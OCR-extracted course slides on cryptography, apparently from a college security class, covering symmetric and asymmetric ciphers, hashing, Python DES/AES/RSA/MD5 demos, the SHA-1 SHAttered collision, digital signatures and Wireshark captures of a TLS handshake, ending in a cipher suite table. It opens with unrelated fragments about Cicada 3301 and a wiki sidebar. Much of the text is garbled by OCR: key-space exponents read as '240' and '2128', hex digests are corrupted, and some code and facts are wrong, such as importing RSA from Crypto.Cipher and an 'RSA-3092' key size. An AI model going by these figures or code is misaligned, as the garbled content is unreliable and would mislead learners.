Special pages has led most to feel that it is not['%! Others have claimed it is run by a bank working on cryptocurrency_m]
Permanent link
Page information Contents [hide]
Wikidata item 1 Purpose
Cite this page .

2 Resolution
Print/export 2.1 Types of clues v
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About Cicadianism Broods Liber Primus The Test Gematria Primus

Theories
Chat at #cicadian on freenode

Welcome Pilgrim

Through some combination of reality, fate, entropy, and randomness, you
have found yourself here: climbing the steps of chaos in a world of
illusions we collectively call reality.

We offer a path toward enlightenment, if you have the patience and
dedication to obtain it.

On 5 January 2012, Cicada 3301 announced their presence to the world.
What started out as a seemingly simple puzzle for a hand full of curious

https://cicada3301.or
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Cryptography

Symmetric encryption

Fast

Difficult to break when using large keys

Only one key used and must be shared

Does not provide authenticity or nonrepudiation

Stream and block versions

DeCSS, DES, Triple DES, AES, Blowfish, RC4, RC5, IDEA

Asymmetric encryption

Slow

Scalable

Each person needs only one key pair

Provides authenticity, validates sender of a message

Provides nonrepudiation, means a person cannot deny sending a message
Used as part of creating digital signatures

RSA, Diffie-Helman, Eliptical Curve, Elgamal

Hashing

« Product fixed length value (message digest) of variable length messages
A hash is a "fingerprint" of a message
« Used to ensure messages are not altered.
« MD5, SHA-1, SHA-2, SHA-3 144
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Keys

« A key is a sequence of random bits.

The longer the key, the more secure it is because brute force
guessing will take longer.

Key space:

« 40-bit key has 240 values
« DeCSS for commercial DVDs

« Simple to crack by brute force
« Cracked in 1999

« 56-bit key has 2°% values (DES)
« 1997, a DES key was cracked in 3 months

« 1998, EFF's "Deep Crack"” machine cracked a DES key
in 56 hours.

« 128-bit key has 2128 values (IBM Lucifer, AES)
« 256-bit key has 22°% values (AES)

145
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Bit Sizes

« Symmetric Encryption
« Key size is in bits
« Examples:
« AES-128 is AES with a 128-bit key
« AES-256 is AES with a 256-bit key

« RSA asymmetric encryption
 Prime number size is in bits
« Examples:
« RSA-1024 uses 1024-bit prime numbers to create the
public and private keys.
« RSA-3092 uses 3092-bit prime numbers to create the
public and private keys.

Bit size cannot be used compare symmetric and
asymmetric encryption security

146
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Yw{@ Ryan Riley on symmetric Key Cryptography

Great Supplemental Video!

Symmetric Key Cryptography

(]! PG~ TLER

>

18 minutes 148


https://www.youtube.com/watch?v=501TeXZoNig
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Symmetric Encryption

Pros and Cons
« Fast
« Difficult to break when using large keys
« Only one key used and must be shared
« Does not provide authenticity or nonrepudiation

Stream Ciphers
« Use key to generate infinitely long stream of pseudo random bits
« To encrypt, XOR plain text with generated bit stream
« To decrypt, XOR cipher text with generated bit stream
« Examples:
« RC4 (used in WEP and WPA) broken now and should not be used
« A5/1 (used in GSM cell phones) broken by NSA (Snowden leaks)

Block Ciphers
« Fixed length key
« Functions as a substitution cipher using except using an algorithm and key
« Examples:
« DeCSS (40-bit key used for DVDs) cracked in 1999
DES (56-bit key) broken in 1997
Triple DES (effective key length of 112 bits) slow and weak
AES (128, 192 or 256 bit key) replaces 3DES, considered unbreakable
Blowfish (keys as large as 448 bits) by Bruce Schneier (see his )
IDEA (128-bit key) non-government standard, used in PGP
RC5 (many key lengths) 56-bit and 64-bit RC5s have been cracked 149


https://www.schneier.com/
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DES (Data Encryption Standard) Activity

[rsimms@opus-ii ~]$ python

Python 2.7.5 (default, Aug 4 2017, 00:39:18)

FECCUZY B 15012885 0623 'MRed FHat 4378 36 =16 = s o N U LI A2

Type "help", "copyright", "credits" or "license" for more
information.

>>> from Crypto.Cipher import DES

>>> key = "Secret!!" Key must be 8 characters
>>> cipher = DES.new (key)

>>> ¢ = cipher.encrypt("Cabrillo") Plain text must be 8 characters
>>> print c.encode ("hex")

HE e Ee e Sl TR L Resulting cipher test

>>> cipher.decrypt (c)

'CabxalTo!

>>> exit ()

[rsimms@opus-ii ~]$S

Source: Sam Bowne 150
https://www.slideshare.net/SamBowne/cnit-123-12-cryptography-82537287
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AES (Advanced Encryption Standard) Activity

[rsimms@opus-ii ~]$ python

Python 2.7.5 (default, Aug 4 2017, 00:39:18)

[GCC . 4.8.5 20150623 (Red Hat 4.8.5-16)] on linux2

Type "help", "copyright", "credits" or "license" for more
information.

>>> from Crypto.Cipher import AES

>>> key = "16 bytes long..." Key must be 16 characters
>>> cipher = AES.new (key)

>>> ¢ = cipher.encrypt("Hello Cabrillo !") plain text must be 16 characters
>>> print c

. eP T W

>>> print c.encode ("hex") ¢ !
42e30d1e9620£76550bl4ace3be89d86 Fe o ad SR

>>> cipher.decrypt (c)

'Heldo Cabrillo ¥!'

>>> exit ()

i simms@op sl - S

Source: Sam Bowne 151
https://www.slideshare.net/SamBowne/cnit-123-12-cryptography-82537287
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Y@ Ryan Riley on Asymmetric Key Cryptography

Great Supplemental Video!

Asymmetric Key Cryptography

aka Public Key Crypto

17 minutes 153


https://www.youtube.com/watch?v=I2eQYXzCPzU
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Yw{@d Ryan Riley on Diffie Hellman Key Exchange

Great Supplemental Video!

Diffie Hellman Key Exchange

16 minutes 154


https://www.youtube.com/watch?v=LameOrl3Qgw
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Asymmetric encryption

Slow.

Scalable, each person needs only one key pair. (one private, one public).

Each key mathematically related to the other for encrypting a message ONLY the other

key can decrypt.

The private key is SECRET and must NEVER be distributed.

The public key is published for anyone to have.

Provides nonrepudiation, means a person cannot deny sending a message.

Provides authenticity, validates sender of a message.

Use to create send a secret message that can ONLY be read by one person (who has

the private key):

 Encrypt the message with their public key and then they decrypt it with their

private key.

Use to authenticate the sender of a message (who has the private key):

« Sender encrypts the message with their private key and recipient decrypts it their

public key.

Used as part of creating digital signatures.

Examples:

Diffie-Hellman - just for exchange of keys over an untrusted connection

RSA - based on the numbers and factoring (difficult), used in SSL

Elliptical Curve - newer and faster, good for less powerful mobile devices

Elgamal - used in PGP

All current asymmetric algorithms may soon be vulnerable to

cracking by quantum computers 155



RSA Private-Public Key Pair Encryption

[simben76@opus-ii ~]S$ python

Python 2.7.5 (default, Aug 4 2017, 00:39:18)

[GCC 4.8.5 20150623 (Red Hat 4.8.5-16)] on linux2

Type "help", "copyright", "credits" or "license" for more
information.

>>> from Crypto.Cipher import RSA

>>> myPrivateKey = RSA.generate (2048) Generate RSA 2048 bit private key
>>> myPublicKey = myPrivateKey.publickey () create paired public key

>>> plainText = "The rain in Spain stays mainly in the plain"

>>> cipherText = myPublicKey.encrypt(plainText, 0) [0] Encrypt with

>>> print cipherText.encode ("hex") public key

861c4883e685ad43abc02e3fd6ed537004c34d9£0d990d1319875adefde77d438aeld0daffdf4033f5ac8a39d2b261£f962fd8b3eea74cd530d
05cbd74b650dd20a179653dad0d01a576a6e01a7871cbledc5d36£59784105b00e803f1e7b0222b2adb50df728544d4c677a338180ea6d2df8
b9934584bffee3adlee6511df35960153927a59dd4c53ad33ec0a55bf9%bcecc495de934c746afocalof8dd443c3861be8dal28051dfb7ecdd6
ec3482b27dfcd610d54a6c45204dfdfddeclfdelccff7013bb489ee0db54287£fc872790c04acb43££05201717a1de53972a83780d8531246a2
e2b5d86801d7£5ad869438d3038fc5dbee76a38590809¢c8e97b43a63

>>> myPrivateKey.decrypt (cipherText) Decrypt with private key
'"The rain 1n Spaln stays mainly in the plain'

>>> exit()

[simben76@opus-ii ~]$

Source: Sam Bowne 156
https://www.slideshare.net/SamBowne/cnit-123-12-cryptography-82537287
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wil@  Ryan Riley on Hashing

Great Supplemental Video!

Hashing

Introduction to Basic Cryptography

Dr. Ryan Riley

> > 4) 003/2033

20 minutes 158


https://www.youtube.com/watch?v=2Cg2So2js5k
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Hashing

Produces fixed length hash values (message digests) from variable length
messages.
Used to ensure messages are not altered.
Used as part of creating digital signatures.
A password or the entire works of Shakespeare will produce a hash value
of the same length.
A hash is considered a "fingerprint" of a message.
One-way only. A hash can be produced of a message, but the message
cannot be re-created from the hash.
If even a single bit of a message changes, the hash will change.
Examples:

« MDS5 (128 bit hash) - broken (collision found) in 1996

« SHA-1 (160 bit hash) - broken (collision found) by Google in 2017

« SHA-2 (224, 256, 384 or 512 bit hashes)

« SHA-3 - an alternative, dissimilar cryptographic hash based om the

Keccak algorithm

159
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MD5 Activity

[simben76@opus-ii ~]1$ python

Pythoni 2% 7+5  (defaultiifhAug ~ 420175 3108 :-39 =18

[GCC 4.8.5 20150623 (Red Hat 4.8.5-16)] on linux2

Type "help", "copyright", "credits" or "license" for more

information.

>>> import hashlib

>>> message = "The rain in Spain stays mainly in the plain"

>>> hashlib.new('MD5' message) .hexdigest ()
("891fcbf0524a8f5ab6a4871c409b53a4" )

>>> message = "The rain in Spain stays mainly on the plain"

>>> hashlib.new('MD5' message) .hexdigest ()
["£04d683afa8£31060c788clf2334d75a" |

>>> exit ()

[simben76@opus—-ii ~1$

MD5 produces completely different 128 bit hashes
for slightly different messages

FT

160
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Hash Activity

[simben76@opus-ii ~]1$ python

EyiElhorpe2% 3= (defigu s Ahig &= 4 =207 Q@+ 3051 8)

[GCC 4.8.5 20150623 (Red Hat 4.8.5-16)] on linux?2

Type "help", "copyright", "credits" or "license" for more

information.
>>> import hashlib
>>> message = "The rain in Spain stays mainly in the plain"

>>> hashlib.new('MD5'  message) .hexdigest ()

'891fcbf0524a8f5ab6ad871c409b53a4 128 bit hash

>>> hashlib.new('SHAl'  message) .hexdigest()
'a6da0lef525e4385¢c1239874a385a8184944081"' 160 bit hash

>>> hashlib.new('SHA256' ,message) .hexdigest()
'8deebl3edfec95e7e£5227e48966£0045b3258c0f6cae8199908cc208c37d3e98' 256 bit hash
>>> hashlib.new('SHA512' message) .hexdigest()
'33db76305a2d13d4ae699e3480e96612887¢c26e2b0a42082288672f7b19a849d1d06 5712 pjt

elaa9daleb236538c30864e6bb21b2219%9a33dlclalfebaf3booe8f3ccd4do! hash
>>> exit ()
[simben76@opus-ii ~1$

Linux uses SHA-512 to hash passwords and stored in /etc/shadow
161
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Past news

Google just cracked one of the building blocks of web encryption
(but don't worry)

by Russell Brandom@russellbrandom Feb 23, 2017

https: WWW. theverge.com/2017 2 23/14712118/google- 1HE WRGE

“It’s all over for SHA-1"

"Today, Google made major waves in the cryptography world, announcing a public
collision in the SHA-1 algorithm. It'’s a deathblow to what was once one of the most
popular algorithms in cryptography, and a crisis for anyone still using the function.
The good news is, almost no one is still using SHA-1, so you don t need to rush out

and install any patches."
162
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SHAttered | MDS and SHA_].

‘The first concrete collision attack against SHA-T
hitgs: /shatteced io

Activity

[simben76@opus-ii ~]$ 1ln ../depot/shattered-1.pdf shattered-1.pdf
[simben76@opus-ii ~]$ 1ln ../depot/shattered-2.pdf shattered-2.pdf
[simben76@opus—-ii ~]$ 1ls -1 shattered-*

-rw-rw----. 2 rsimms cis76 422435 Feb 22 2017 shattered-1.pdf
-rw-rw-——---. 2 rsimms cis76 422435 Feb 22 2017 shattered-2.pdf
[simben76@opus-ii ~]$ diff shattered-*

Binary files shattered-1.pdf and shattered-2.pdf differ

[simben76@opus-ii ~]$ shasum shattered-1.pdf
38762cf7£55934b34d179%ae6a4c80cadccbb7f0a shattered-1.pdf SHA-1 produces same
[simben76@opus-ii ~]$ shasum shattered-2.pdf 160 bit hash for
38762cf7£55934b34d179%ae6ad4c80cadccbb7f0a shattered-2.pdf different files (yikes!)

[simben76@opus-ii ~]S md5sum shattered-1.pdf
eedaab2bl139d925£f8d8884402b0a750c shattered-1.pdf MD5-1 produces different
[simben76@opus-ii ~]$ md5sum shattered-2.pdf 128 bit hashes for different
50d9d8cabc46041579a311230539%908d1 shattered-2.pdf files (as it should)

163
https://shattered.io
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Sender

Recipient
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Digital Signatures

Calc hash | =

00101110 ....

Document and
encrypted hash
sent over Internet

Calc hash
of received
document

|

Encrypt hash

with private
11100010100000 | g P

01111 .... key

11100010100000

01111 .... ‘ Decrypt
received

N

encrypted hash
with senders
public key

|

00101110 ....

Recipient verifies if

the hashes match

X A |
i \
,.‘_. ]
L8 A _

The federal
government requires
digital signatures use
either RSA or DSA
(Digital Signature
algorithm)

Integrity

The hash verifies
the message was
not altered in transit

Authenticity and
Nonrepudiation
is verified by using
public and private
keys
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PGP placeholder
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(1 Tube| How SSL Works I

CYQUIX

M
ATTPS

ENCRYPTION

& IDENTIFICATION

P »l o) 001/2:56

CYQUIX

_ 167
3 minutes


https://www.youtube.com/watch?v=rROgWTfA5qE
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You () How SSL Works II

M
\7 leadingcoder

How SSL works

b » o) 0u2/ 1108

Simon Dennis

11 minutes 168


https://www.youtube.com/watch?v=iQsKdtjwtYI
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SSL/TLS Handshake

Client = Web browser
Server = Web server

Handshake objectives

« Agree on the version of the SSL/TLS protocol to use

« Select a cipher suite to use

« Authenticate each other by exchanging and validating
digital certificates.

« Using asymmetric cryptography to generate a shared secret
key which is used for fast symmetric encryption.

Note SSL is the predecessor to TLS. TLS 1.0 is sometimes to referred to as SSL 3.1

169



http://www.ibm.com/support/knowledgecenter/SSFKSJ_7.1.0/com.ibm.mq.doc/sy10660_.htm
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SSL/TLS Handshake

'SSL Client SSL Server

(1) "client hello”

h 4

Cryptographic information

(2) "server hello”

(3) 3 CipherSuite
Ver"‘b[ server Server certificate
certificate. "client certificate request"' (optional)
Check
cryptographic
parameters (4) Client key exchange

Send secret key information
(encrypted with server public key) (6)

(5) Send dient certificate B
certificate
(7) Client “finished” (if required)

(8) Server “finished’

(9) Exchange messages

(encrypted with shared secret key)

170
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Applications « Places v @ Firefox ESR + Tue 14:47
Amazon.com: Online Shopping for Electronics, Apparel, Computers, Books, DVDs & more - Mozilla Firef.. @ @&

Kali Linux, an Offensive S... x a Amazon.com: Online ... % | &

w B 4 »
Tue 14:48

*eth0 e 0
ama;on All ~ File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Am @ BERE Q2 v kKA B g w=
X

@) @ | https://www.amazon.com

W Wireshark «

Most Visited v JllOffensive Security

Departments ~ Your Amazor

'sq'tcp.port ==443 ~| Expression.. +

No. Time Source Destination Protocol Length Info =
43 15.,922104027 10.76.5.15@ 54.239.17.6 TCP 74 55834 — 443 [SYN] Seq=0 .. El
TCP 3-way handshake 44 15,098001052 54.239.17.6 10.76.5.150 TCP 62 443 — 55834 [SYN, ACK] S..—
45 15,008043282 10.76.5.150 54.239.17.6 TCP 54 55834 — 443 [ACK] Seq=1 .. ||

. 5.008277922 .76.5,150  54,239,17.6 Client Hello

TLS Client Hello .073876742 54.239.17.6 .76.5.150 TCP 60 [TCP Window Update] 443 .| |
43 16.074395427 54.238.17.6 10.76.5.150 TCP 60 443 — 55834 [ACK] Seq=1 ..| |

MON DAY 49 16.076458892 54.239.17.6 10.76.5.150 TLSv1.2 1514 Server Hello -
R 1R M7RARATE o I R L L 1 54 2320 17 A TP 54 FRE34A - A42 [Ark] Sen=10Q »

DEALS WEEK Length; 181 -

version: TLS 1.2 (Ox0303)
= Random

Session ID Length: @
Cipher Suites Length: 22
v Cipher Suites (11 suites)
Cipher Suite: TLS_ECDHE_ECDSA _WITH_AES_128_ GCM_SHAZ258 (Oxc02b)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHAZ256 (0xcB2f)
N Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (OxcB0a)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (0xcB09)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xcBl13)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (Oxcol4)
Cipher Suite: TLS_DHE_RSA_WITH_AES_128_ CBC_SHA (0x0033)
Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x0039)
Cipher Suilte: TLS_RSA WITH_AES_128 CBC_SHA (Ox002f)

171
I can use these cipher suites



Applications « Places = ") Firefox ESR = Tue 14:47

Amazon.com: Online Shopping for Electronics, Apparel, Computers, Books, DVDs & more - Mozilla Firef.. @ & &

Kali Linux, an Offensive S... x a Amazon.com: Online ... x \ *

Tue 14:58

*ethO (I~ ]

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

amazon ,
— Admde alRE Q¢» e kA H g o =

Most Visited v Jl|Offensive Se«

vour el :tcp.port == 443 ] ~ | Expression.. +

Departments ~

No.  Time Source Destination Protocol

44 15.998001052 : 5 TCP 62 443 — 55834 [SYN, ACK] S..:
45 15,998043282 10.76.5.150 54.239.17.6 TCP 54 55834 — 443 [ACK] Seg=1 .. =
46 15,998277922 10.76.5.150 54.239.17.6 TLSvl.2 244 client Hello =
" . 47 16.073876742 54.239.17.6 10.76.5.150 TCP 60 [TCP Window Update] 443 .. |

48 16.074395427 54.239.17.6 10.76.5.150 TCP 60 443 — 55834 [ACK] Seg=1 ..
TLS Server Hello 49 16.076458892 54.239.17.6 0.76.5.150 Svi.2 Server j
B 1R M7RARATHA 1M 7R B 15RA 54 230 17 & AR e =) Rd FRER34 — 442 [ark] Sen=1Q L

\ T TT YLoo7T U7
&

v TLSv1.2 Record Layer: Handshake Protocol: Server Hello
DEALS WEEK Content Type: Handshake (22)
version: TLS 1.2 (Ox0303)
Length: 108
v Handshake Frotocol: Server Hello
Handshake Type: Serwver Hello (2)

Length: 104
Wersion: TLS 1.2 (0x0303)
= Random

Session ID Length: 32
Session ID: 4ffS63cf2e507ccel0442825d3a8dd4c4fE89clidecE7héoa. | .
Cipher Suite: TLS_ECDHE_RSA WITH_AES 128 GCM_SHAZSE (OxcO2f)

Compression Method: null (©)
Extensions Length: 32
» Extension: renegotiation_info

172
Let's use this one then
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Applications « Places v @ Firefox ESR + Tue 14:47

Amazon.com: Online Shopping for Electronics, Apparel, Computers, Books, DVDs & more - Mozilla Firef.. @ & &

Kali Linux, an Offensive S... x a Amazon.com: Online ... % | &

i) @ | https://www.amazon.com A laces 3 ' Tue 1513
*eth0 e 0
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

SL AN AW 2® BORE Qe v o kuEB eoguT
m -

Expression.. +

Most Visited v Jll Offensive Security

L .tcp.port ==443
Departments ~ Your Amazoj

No.  Time Source Destination Protocol Length Info =
TLS Certificate 53 16.077477776 54.239,17.6 .76.5.150 2 1514 Certificate
54 16.077484796 10.76.5.150 54.238.17.6 TCP 54 55834 — 443 [ACK] Seq=183..
95 16.07V7490275 54.239.17.6 ablefi Tl a1 Syt [ IRl 809 Certificate Status '_‘
56 16.077494675 10.76.5.150 54.239.17.6 TCP 54 55834 — 443 [ACK] Seqg=19.. :
S Eiglolzal ol ] sl e R S| 24338 1 ¢ 8 LSwl .2 180 Client Key Exchange, Cha.. —
CYBER 58 16.082526346 10.76.5.150 54.239.17.6 TLSv1.2 367 Application Data .
99 16.157V136125 54.239.17.6 ablefir s bisatste b sl 105 Change Cipher Spec, Encr..
MON DAY AA 1A/ 101EMA1017  FAd 230 17 A 1M 7R B ARMA TP AM 443 . REAR24 [ArK] Sen-51 ¥
Frame 53: 1514 bytes on wire (12112 bits), 1514 bytes captured (12112 bits) on interfa

Ethernel TL - SEe: ¥mwerelal 2 ed (006056 22 e3) . D5 Ymware af fegib  (00HE0 56!
Internet Protocol Version 4, Src: 54.239.17.6, Dst: 10.76.5.150
Transmission Control Protocol, Src Port: 443 (443), Dst FPort: 55834 (55834), Seq: 2921
[2 Reassembled TCP Segments (3053 hytes): #49(1347), #51(1460), #53(246)]
Secure Sockets Laver
v TLSvl.2 Record Layer: Handshake Protocol: Certificate

Content Type: Handshake (22)

version: TLS 1.2 (0x0303)

< I——— Length: 3048

= Handshake Protocol: Certificate

DEALS WEEK

4 ¥ ¥ ¥V ¥ ¥

Server sends its digital certificate for client to validate
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Applications « Places v @ Firefox ESR =

Tue 14:47

Amazon.com: Online Shopping for Electronics, Apparel, Computers, Books, DVDs & more - Mozilla Firef.. @ & &

Kali Linux, an Offensive S... x a Amazon.com: Online ... % | &

@ a VW.amazon.com Tue 15:15

54 55834 — 443 [ACK] Seg=19..

u.:;u.i;ﬂf

~| Expression...

Status

54 55834 — 443 [ACK] Seg=19..

Exchange, Cha..
Data

i EuEE Encr...: |

[AarkK] Sen=51

[ Most Visited v Jll Offensive Security S K Sl
amazon File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
~—T Am i@ BERE Q2 v KAEH &
s | tcp.port == 443 X}
Departments ~ Your Amazon.co
No.  Time Source Destination Protocol Length Info
53 16.077477776 54.239.17.6 10.76.5.150 TLSvl1l.2 1514 Certificate
54 16.077484796 10.76.5.150 54,239.17.6 TCF
55 16. 077490276 54.239.17.6 alfelsmdsttsriallsto | Sl ihl e 809 Certificate
56 16.077494675 10.76.5.150 54.239.17.6 TCF
TLS Client Key Exchange . 081053361 .76.5.150 .239.17.6 2 180 Client Key

58 16.082526346 10.76.5.150 54.239.17.6 TLSvl.2 367 Application
59 16.157136125 54.239.17.6 10.76.5.150 TLSvl.2 105 change Ciph

< MONDAY AN 1/ 1015016017 54 2230 17 A 1M 78 5 15[ SR Al 442 - 55834
Frame 57: 180 bytes on wire (1440 bits), 180 bytes

Ethernet II, Src:. Vmware_af:e6:bd
Internet Protocol Version 4, Src: 10.76.5.150, Dst:
Transmission Control Protocol, Src Port: 55834 (5583
Secure Sockets Layer
v TLSv1.2 Record Layer:

Content Type: Handshake (22)

version: TLS 1.2 (0x0303)

Length: 70

» Handshake Protocol: Client Key Exchange

v TLSv1.2 Record Layer:

Content Type: Change Cipher Spec (20)

Version: TLS 1.2 (0x0303)

Length: 1

Change Cipher Spec Message

DEALS WEEK

4 ¥ ¥ ¥¥

54.239.17.6

4y, Dst Port: 443

Handshake Protocol: Client Key Exchange

captured (1440 bits) on interface
(00:50:56:af:e6:bd), Dst: VWmware_af:f2:c3 (00:50:5

(443), Seq: 19

Change Cipher Spec Protocol: Change Cipher Spec

+

L0 T -

Exchange the secret key to use for symmetric

encryption
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Applications « Places v @ Firefox ESR + Tue 14:47

Amazon.com: Online Shopping for Electronics, Apparel, Computers, Books, DVDs & more - Mozilla Firef.. @ & &

Kali Linux, an Offensive S... x a Amazon.com: Online ... % | &

) @ | https://www.amazon.com Tue 15:19
f5 Most Visited v Jll Offensive Security g Kal #ath0 e 0
amazon o File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
et AmJ@ BRRE Q¢ 2 v kA H wouw
Departments ~ "!’DU"f"'"“ai‘?"'»‘?‘?'“ ==443 [X] ~| Expression.. +
No.  Time Source Destination Protocol Length Info
56 16.077494675 10.76.5.150 54,.238.17.6 TCP 54 55854 — 443 [ACK] Seg=19..

57 16.081053361 10.76.5.150 54.239.17.6 TLSv1. 180 Client Key Exchange, Cha..

58 16.082526346 10.76.5.150 54.239.17.6 TLSv1.

TLS Change Cipher Spec | 1 5.157136125

[T -

367 Application Data
105 Change Cipher Spec, Encr.

2
2

60 16.191501917 54.239.17.6 18.76.5.158 TCP 60 443 — 55834 [ACK] Seqg=51..[ |
c TDEK 61 16.191535574 10.76.5.150 54.238.17.6 TCP 54 55834 — 443 [ACK] Seq=63..
MON DAY 62 16.2854065889 54.239.17.6 18.76.5.150 TLSv1.2 1014 Applj_catl:_on Data
A? 1A 2REARRO2R KA 220 17 A 1A 7A K 1A Tl 8wl 2 222 Annliratinn Nata ot

Frame 59: 105 bytes on wire (840 bits), 105 bytes captured (840 bits) on interface ©
Ethernet II, Src: Vmware_af:f2:c3 (00:50:56:af:f2:c3), Dst: Vmware_af:e6:bd (00:50:56:
Internet Protocol Version 4, Src: 54.239.17.6, Dst: 10.76.5.150
Transmission Control Protocol, Src Port: 443 (443), Dst Port: 55834 (55834), Seq: 5136
Secure Sockets Layer
v TLSv1.2 Record Layer: Change Cipher Spec Frotocol: Change Cipher Spec

Content Type: Change Cipher Spec (20)

Version; TLS 1.2 (Ox0303)
~ L

Change Cipher Spec Message

v TLSv1.2 Record Layer: Handshake Protocol: Encrypted Handshake Message

Content Type: Handshake (22)

Version: TLS 1.2 (Ox0303)

Length: 40

Handshake Protocol: Encrypted Handshake Message

DEALS WEEK

4 ¥y ¥ ¥ ¥

175
Changed to the agreed upon cipher suite
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Tue 14:47

®) Firefox ESR =

Applications « Places »

Amazon.com: Online Shopping for Electronics, Apparel, Computers, Books, DVDs & more - Mozilla Firef.. @ & &
Applications « Places ~ B Wireshark « Tue 15:20

*eth0 [— I ~ ]

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

[ Most Visited v il Offensive Security N : . =
4d W @ B RE Q2 o u\g-.yu&cjdj
All = m

Kali Linux, an Offensive S... x a Amaz(

@) @ | https://www.amazon.com

ama;on |W | tcp.port == 443 ~| Expression.. +
No.  Time Source Destination Protocol Length Info ._%
Departments ~ REURNERIRYE | 55 16, 077494675 10.76.5.150 54.238.17.6 TCP 54 55834 — 443 [ACK] Seg=18.. E
el saletahl o lte k] o Bl o fml sl Tl 10| 54.238.17.6 TLSvl.2 180 Client Key Exchange, Cha.. =
= ol s el st T o SR T 54.238.17.6 TLSv1.2 367 Application Data =
58 16.157¥136125 54.239 17.6 10 ¥6. 5150  TLSwl 2 105 Change Cipher Spec, Encn“::

60 16.191501917 54.239.17.6 OB D 60 443 — 55834 [ACK] Seq=51..

Bl 16191535574 Q0 TE B 1EA 54.239.17.6 TCP 54 55834 — 443 [ACK] Seq=63..
TLS Application Data 62 16,285406589 54, .76.5.150 2 1014 Application Data -
A2 1A 2RR4A3302R K4 2230 17 A 1A 7R & 15M  Tloyl 2 232 Annlicatinn Nata x

CYDEK » Frame 62: 1014 bytes on wire (8112 bits), 1014 bytes captured (8112 bits) on interface
MONDAY » Ethernet II, Src: Vmware_af:f2:c3 (D0:50:56:af:f2:c3), Dst: Vmware_af:e6:bd (00:50:56:

» Internet Protocol Version 4, Src: 54.239.17.6, Dst: 10.76.5.150

DEALS WEEK = Transmission Control Protocol, Src Port: 443 (443), Dst Port: 55834 (55834), Seq: 5187

v Secure Sockets Layer
v TLSv1l.2 Record Layer: Application Data Protocol: http
Content Type: Application Data (23)
Wersion: TLS 1.2 (0x0303)
Length: 955
Encrypted Application Data: abc27bc7d270aad3227493c1aaa72122850858b3dbb fdacf. ..

Start sending encrypted data 176
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ipher Suite Elements

& An Introduction To Ciph: X

& c ! ® www.jscape.com/blog/cipher-s

» SCHEDULE NOW!

REQUEST DEMO
Request a 30 minute JSCAPE
MFT Server demonstration

ci pher su ites » GET STARTED!

Latest Blog Posts
S

o __ Updated Video: How To
Enable Users To Upload
Files Anonymously Using
Drop Zones
= posted at

Excluding Passive IP for
Internal FTP/S
Connections To Your
Reverse Proxy

- An Introduction

Setting Up An FTPS
= Server Behind A Firewall
or NAT For PASV Mode
Data Transfers
posted at

I

__ Updated video: Adding
and Managing Users on
JSCAPE MFT Server
posted at

Basic elements of a cipher suite Posts by catego

JSCAPE MFT Server (228)

A cipher suite is basically a complete set of methods (technically known as algorithms) needed to
secure a network connection through SSL (Secure Sockets Layer) / TLS (Transport Layer Security).
The name of each set is representative of the specific algorithms comprising it.

Managed File Transfer (222)

- Secure File Transfer (97)
We'll show you how these names look like in a short while. In the meantime, let's talk about the
algorithms that make up a cipher suite. The algorithms that make up a typical cipher suite are the

News (96)

following: « Business Process Automation (73)
i : : : £ » Security (72)
= key exchange algorithm - dictates the manner by which symmetric keys will be exchanged;
= authentication algorithm - dictates how server authentication and (if needed) client authentication « Tutorials (67)
will be carried out .

www.jscape.com/blog/cipher 177
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Cipher Suite Table

B An Introduction To Ciph

e

% )/ Il tis and ss| cipher suites | X

C | ® www.thesprawl.org/research/tls-and-ssl-cipher-suites/

Iessage Digiest algorithm 5

Known cipher suites

The table below contains an exhaustive list of cipher suites implemented or defined by RFCs
and various TLS/SSL t00lKits.

CipherID Name Protocol Kx Au Enc Bits Mac
0%000000 | TLS_NULL_WITH_NULL_NULL TS NULL NULL NULL 0 |NULL
0x000001 | TLS_RSA_WITH_NULL_MD5 LS RSA RSA NULL 0 |MD5
0%000002 | TLS_RSA_WITH_NULL_SHA TS RSA RSA NULL 0 |sHA
0x000003 | TLS_RSA_EXPORT_WITH_RC4_40_MD5 LS RSA_EXPORT  |RSA_EXPORT |RC4_40 40 |MD5
0%000004 | TLS_RSA_WITH_RC4_128_MD5 TS RSA RSA RCA_128 128 | MDS
0x000005 | TLS_RSA_WITH_RC4_128_SHA LS RSA RSA RC4_128 128 | SHA
0%000006 | TLS_RSA_EXPORT_WITH_RC2_CBC_40_MDS TS RSA_EXPORT  |RSA_EXPORT |RC2_CBC_40 40 |MDs
0x000007 | TLS_RSA_WITH_IDEA_CBC_SHA LS RSA RSA IDEA_CBC 128 | SHA
0%000008 | TLS_RSA_EXPORT_WITH_DES40_CBC_SHA TS RSA_EXPORT  |RSA_EXPORT | DES40_CBC 40 |sHA
0x000009 | TLS_RSA_WITH_DES_CBC_SHA LS RSA RSA DES CBC 56 | SHA
0x00000A | TLS_RSA_WITH_3DES_EDE_CBC_SHA TS RSA RSA 3DES_EDE_CBC 168 | SHA
0x00000B | TLS_DH_DSS EXPORT_WITH_DES40_CBC_SHA | TLS DH Ds8 DES40_CBC 40 |SHA
0%00000C | TLS_DH_DSS_WITH_DES_CBC_SHA TS oH Dss DES_CBC 56 | SHA
0x00000D | TLS_DH_DSS WITH_3DES_EDE_CBC_SHA LS DH Ds8 3DES_EDE_CBC 168 | SHA
0x00000E | TLS_DH_RSA_EXPORT_WITH_DES40_CBC_SHA | TLS oH RSA DES40_CBC 40 |sHA
0x00000F | TLS_DH_RSA_WITH_DES CBC_SHA LS DH RSA DES CBC 56 | SHA
0%000010 | TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA TS oH RSA 3DES_EDE_CBC 168 | SHA
0x000011 | TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA | TLS DHE Ds8 DES40_CBC 40 |SHA
0%000012 | TLS_DHE_DSS_WITH_DES_CBC_SHA TS OHE Dss DES_CBC 56 | SHA
